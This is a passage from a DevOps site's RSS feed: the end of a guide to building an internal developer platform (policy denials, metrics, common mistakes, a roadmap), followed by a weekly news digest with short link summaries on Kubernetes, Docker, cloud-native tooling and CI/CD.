admission webhook &quot;validation.gatekeeper.sh&quot; denied the request:
[require-team-labels] All deployments must have managed-by, service,
and owner labels. Missing: platform.company.io/owner
</code></pre><p>This is much better than a review process. The developer fixes it immediately instead of waiting for someone to notice in a PR review.</p>
<hr>
<h2 id="h2-step-6-measure-what-matters" class="group relative scroll-mt-24">
        <a href="#h2-step-6-measure-what-matters" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 6: Measure What Matters
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-6-measure-what-matters"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Don&#39;t measure portal logins or template usage. Measure the outcomes:</p>
<pre><code class="hljs language-text">┌────────────────────────────────────┬───────────┬────────────┐
│ Metric                             │ Before    │ Target     │
├────────────────────────────────────┼───────────┼────────────┤
│ Time to first deploy (new service) │ 3-5 days  │ &lt; 30 min   │
│ Infrastructure tickets per week    │ 15-20     │ &lt; 3        │
│ Time to onboard new engineer       │ 2 weeks   │ 2 days     │
│ Services with monitoring           │ 60%       │ 100%       │
│ Deployment frequency               │ 2x/week   │ 5x/day     │
│ Failed deployments requiring help  │ 30%       │ &lt; 5%       │
└────────────────────────────────────┴───────────┴────────────┘
</code></pre><p>Track these from day one. If your platform isn&#39;t moving these numbers, you&#39;re building the wrong thing.</p>
<hr>
<h2 id="h2-common-mistakes-to-avoid" class="group relative scroll-mt-24">
        <a href="#h2-common-mistakes-to-avoid" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common Mistakes to Avoid
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-mistakes-to-avoid"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Building a UI before the API.</strong> Start with templates and CLI tools. If developers can run <code>platform create service --name=foo --db=true</code> and get a working service, you&#39;ve solved 80% of the problem. A pretty portal can come later.</p>
<p><strong>Trying to support every workflow on day one.</strong> Pick your top 3 most common service types and build golden paths for those. Expand once they&#39;re solid.</p>
<p><strong>Making the platform mandatory.</strong> If your platform is good, people will use it voluntarily. If you have to force adoption, the platform isn&#39;t solving real problems. Fix the platform, don&#39;t mandate it.</p>
<p><strong>Ignoring the existing ecosystem.</strong> Your IDP should wrap your current tools (Terraform, Kubernetes, GitHub Actions), not replace them. Developers who need to go deeper should still be able to use the underlying tools directly.</p>
<hr>
<h2 id="h2-what-to-build-next" class="group relative scroll-mt-24">
        <a href="#h2-what-to-build-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What to Build Next
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-to-build-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you&#39;ve followed along, you now have the building blocks for a basic IDP: service templates, automated provisioning, a developer portal, and guardrails. Here&#39;s how to prioritize what comes next:</p>
<ol>
<li><strong>Week 1-2</strong>: Set up Backstage and create templates for your two most common service types. Wire them to your existing Terraform modules. Get one real team to create a service through the platform.</li>
<li><strong>Week 3-4</strong>: Add a service catalog that auto-discovers existing services from your GitHub org. Set up resource quotas and basic network policies.</li>
<li><strong>Month 2</strong>: Add monitoring and alerting templates so every new service ships with dashboards. Build a CLI tool (<code>platform create service</code>) as an alternative to the portal.</li>
<li><strong>Month 3</strong>: Add environment promotion workflows (staging to production) and integrate cost tracking per service.</li>
</ol>
<p>Start small. Ship fast. Iterate based on what your developers actually need, not what conference talks say they should want.</p>
<p>The best internal developer platform is the one that removes real friction from your team&#39;s daily work. Build that, and adoption takes care of itself.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 15, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-15</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-15</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-suse-rancher-and-vultr-want-to-break-ai-infrastructure-free-from-the-hyperscalers" class="group relative scroll-mt-24">
        <a href="#h3-suse-rancher-and-vultr-want-to-break-ai-infrastructure-free-from-the-hyperscalers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SUSE Rancher and Vultr want to break AI infrastructure free from the hyperscalers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-suse-rancher-and-vultr-want-to-break-ai-infrastructure-free-from-the-hyperscalers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Organizations looking to scale their AI workloads and infrastructure on Kubernetes were largely limited to expensive hyperscaler options. As DevOps The post SUSE Rancher and Vultr want to break AI inf</p>
<p><strong>📅 Apr 4, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/vultr-suse-rancher-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_ash-v1-active-session-history-for-postgresql" class="group relative scroll-mt-24">
        <a href="#h3-pg_ash-v1-active-session-history-for-postgresql" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_ash v1 - Active Session History for PostgreSQL
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_ash-v1-active-session-history-for-postgresql"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>pg_ash samples pg_stat_activity once per second via pg_cron, stores encoded snapshots in partitioned tables, and provides 32 SQL functions for wait event analysis. Pure SQL + PL/pgSQL. No C extension,</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_ash-v1-active-session-history-for-postgresql-3242/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitops-policy-as-code-securing-kubernetes-with-argo-cd-and-kyverno" class="group relative scroll-mt-24">
        <a href="#h3-gitops-policy-as-code-securing-kubernetes-with-argo-cd-and-kyverno" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitOps policy-as-code: Securing Kubernetes with Argo CD and Kyverno
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitops-policy-as-code-securing-kubernetes-with-argo-cd-and-kyverno"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A hands-on guide to deploying Kyverno with Argo CD and enforcing custom policies As Kubernetes environments develop, GitOps with Argo CD has become the standard for declarative, self-healing infrastru</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/04/02/gitops-policy-as-code-securing-kubernetes-with-argo-cd-and-kyverno/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubecon-eu-2026-recap-the-year-ai-moved-into-production-on-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-kubecon-eu-2026-recap-the-year-ai-moved-into-production-on-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 KubeCon EU 2026 Recap: The Year AI Moved Into Production on Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubecon-eu-2026-recap-the-year-ai-moved-into-production-on-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amsterdam in late March still has that sharp North Sea wind, but inside the RAI Convention Centre, 13,350 people generated enough energy to heat the building twice over. KubeCon + CloudNativeCon EU 20</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/kubecon-eu-2026-recap/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-llms-on-kubernetes-part-1-understanding-the-threat-model" class="group relative scroll-mt-24">
        <a href="#h3-llms-on-kubernetes-part-1-understanding-the-threat-model" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 LLMs on Kubernetes Part 1: Understanding the threat model
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-llms-on-kubernetes-part-1-understanding-the-threat-model"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Let’s say you’ve got an LLM running on Kubernetes. Pods are healthy, logs are clean, users are chatting. Everything looks fine. But here’s the thing: Kubernetes is great at scheduling workloads and ke</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/30/llms-on-kubernetes-part-1-understanding-the-threat-model/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-envoy-a-future-ready-foundation-for-agentic-ai-networking" class="group relative scroll-mt-24">
        <a href="#h3-envoy-a-future-ready-foundation-for-agentic-ai-networking" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Envoy: A future-ready foundation for agentic AI networking
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-envoy-a-future-ready-foundation-for-agentic-ai-networking"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In today&#39;s agentic AI environments, the network has a new set of responsibilities. In a traditional application stack, the network mainly moves requests between services. But as discussed in a recent </p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/networking/the-case-for-envoy-networking-in-the-agentic-ai-era/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-defending-your-software-supply-chain-what-every-engineering-team-should-do-now" class="group relative scroll-mt-24">
        <a href="#h3-defending-your-software-supply-chain-what-every-engineering-team-should-do-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Defending Your Software Supply Chain: What Every Engineering Team Should Do Now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-defending-your-software-supply-chain-what-every-engineering-team-should-do-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The software supply chain is under sustained attack. Not from a single threat actor or a single incident, but from an ecosystem-wide campaign that has been escalating for months and shows no signs of </p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/defending-your-software-supply-chain-what-every-engineering-team-should-do-now/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gemma-4-is-here-now-available-on-docker-hub" class="group relative scroll-mt-24">
        <a href="#h3-gemma-4-is-here-now-available-on-docker-hub" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gemma 4 is Here: Now Available on Docker Hub
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gemma-4-is-here-now-available-on-docker-hub"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Docker Hub is quickly becoming the home for AI models, serving millions of developers and bringing together a curated lineup that spans lightweight edge models to high-performance LLMs, all packaged a</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/gemma4-dockerhub/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-docker-offload-now-generally-available-the-full-power-of-docker-for-every-developer-everywhere" class="group relative scroll-mt-24">
        <a href="#h3-docker-offload-now-generally-available-the-full-power-of-docker-for-every-developer-everywhere" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Docker Offload now Generally Available: The Full Power of Docker, for Every Developer, Everywhere.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-docker-offload-now-generally-available-the-full-power-of-docker-for-every-developer-everywhere"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Docker Desktop is one of the most widely used developer tools in the world, yet for millions of enterprise developers, running it simply hasn’t been an option. The environments they rely on, such as v</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/docker-offload-now-generally-available-the-full-power-of-docker-for-every-developer-everywhere/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-adaptive-concurrency-means-for-async-functions" class="group relative scroll-mt-24">
        <a href="#h3-what-adaptive-concurrency-means-for-async-functions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What Adaptive Concurrency Means for Async Functions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-adaptive-concurrency-means-for-async-functions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how adaptive concurrency in the OpenFaaS queue-worker prevents overloading functions, reduces retries, and completes async batches faster — without per-function tuning. Synchronous vs. asynchron</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 OpenFaaS Blog</strong></p>
<p><a href="https://www.openfaas.com/blog/adaptive-concurrency/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-run-and-iterate-on-llms-faster-with-docker-model-runner-on-dgx-station" class="group relative scroll-mt-24">
        <a href="#h3-run-and-iterate-on-llms-faster-with-docker-model-runner-on-dgx-station" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Run and Iterate on LLMs Faster with Docker Model Runner on DGX Station
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-run-and-iterate-on-llms-faster-with-docker-model-runner-on-dgx-station"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Back in October, we showed how Docker Model Runner on the NVIDIA DGX Spark makes it remarkably easy to run large AI models locally with the same familiar Docker experience developers already trust. Th</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/blog-docker-model-runner-new-nvidia-dgx-station/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sustaining-opentelemetry-moving-from-dependency-management-to-stewardship" class="group relative scroll-mt-24">
        <a href="#h3-sustaining-opentelemetry-moving-from-dependency-management-to-stewardship" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Sustaining OpenTelemetry: Moving from dependency management to stewardship
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sustaining-opentelemetry-moving-from-dependency-management-to-stewardship"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Modern software runs on open source. In fact, “free” and open source software generates more than $500 billion in annual value in the U.S. alone and an estimated $8.8 trillion in total global value. F</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/31/sustaining-opentelemetry-moving-from-dependency-management-to-stewardship/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-the-red-hat-universal-base-image" class="group relative scroll-mt-24">
        <a href="#h3-introducing-the-red-hat-universal-base-image" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing the Red Hat Universal Base Image
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-the-red-hat-universal-base-image"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There are a lot of choices when it comes to container base images, so why should you select Red Hat Universal Base Image (UBI)? First of all, the code in Red Hat Universal Base Image is derived from R</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/introducing-red-hat-universal-base-image"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-to-automate-runtime-control-with-kill-switches-progressive-rollouts-and-user-targeting" class="group relative scroll-mt-24">
        <a href="#h3-how-to-automate-runtime-control-with-kill-switches-progressive-rollouts-and-user-targeting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to automate runtime control with kill switches, progressive rollouts, and user targeting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-automate-runtime-control-with-kill-switches-progressive-rollouts-and-user-targeting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>These strategies can help you design for control in production.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/kill-switches-progressive-rollouts-user-targeting/"><strong>🔗 Read more</strong></a></p>
